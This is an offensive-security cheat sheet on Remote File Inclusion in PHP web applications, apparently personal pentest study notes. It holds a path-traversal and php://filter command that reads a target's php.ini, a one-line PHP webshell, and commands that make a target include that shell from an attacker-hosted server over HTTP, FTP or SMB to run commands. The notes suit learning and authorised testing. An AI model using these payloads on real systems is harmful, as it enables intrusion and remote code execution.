> For the complete documentation index, see [llms.txt](https://notes.sfoffo.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.sfoffo.com/web-applications/web-attacks/remote-file-inclusion-rfi.md).

# Remote File Inclusion (RFI)

## **Introduction**

> * RFI is basically an LFI which also allows **inclusion of remote URLs** in order to **include remote files**
> * The objectives are to **enumerate local ports and web application through SSRF vulnerabilities** or Gaining RCE by \*\*including a malicious script that we host on our server \*\*
> * Almost any RFI vulnerability is also an LFI vulnerability (by including a local URL rather than a remote URL)

***

## **Enumerate RFI Vulnerabilities**

1. Check if `allow_url_include` is enabled:
   * To do so, you need to read the PHP configuration file found at
   * (`/etc/php/X.Y/apache2/php.ini`) for Apache
   * (`/etc/php/X.Y/fpm/php.ini`) for Nginx,
   * where `X.Y` is your install PHP version
2. Read the PHP Configuration File using the base64 filter (to ensure everything is read properly)
   * `curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"`
3. Check if the option is set to ON: `echo 'BASE64VALUE' | base64 -d | grep allow_url_include`
4. This may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with.
5. Try to include a URL, starting with a local url like `http://127.0.0.1:80/index.php` then, if that works, include a remote URL

***

## **Remote Code Execution from RFI**

Follow these steps:

1. Write the webshell payload file: `echo '<?php system($_GET["cmd"]); ?>' > shell.php`
2. Start a webserver: `sudo python3 -m http.server <LISTENING_PORT>`
3. Use RFI to gain RCE: `http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id`
4. The same thing can be done by starting a local `FTP` or `SMB` server and using `ftp://<OUR_IP>/shell.php&cmd=id` or `\\<OUR_IP>\share\shell.php`